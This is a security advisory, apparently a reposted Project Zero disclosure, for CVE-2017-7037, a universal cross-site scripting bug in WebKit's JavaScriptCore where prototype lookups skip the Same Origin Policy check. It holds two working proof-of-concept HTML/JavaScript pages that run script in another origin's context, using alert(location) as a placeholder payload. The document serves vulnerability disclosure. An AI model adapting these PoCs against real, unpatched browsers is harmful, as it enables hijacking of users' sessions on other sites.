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WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS

Posted on 25 July 2017

WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive

CVE-2017-7037

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;

a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});

</scrip` + `t>`;

</script>
</body>

PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = {
__proto__: f.contentWindow
};

a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});

</scrip` + `t>`;
</script>
</body>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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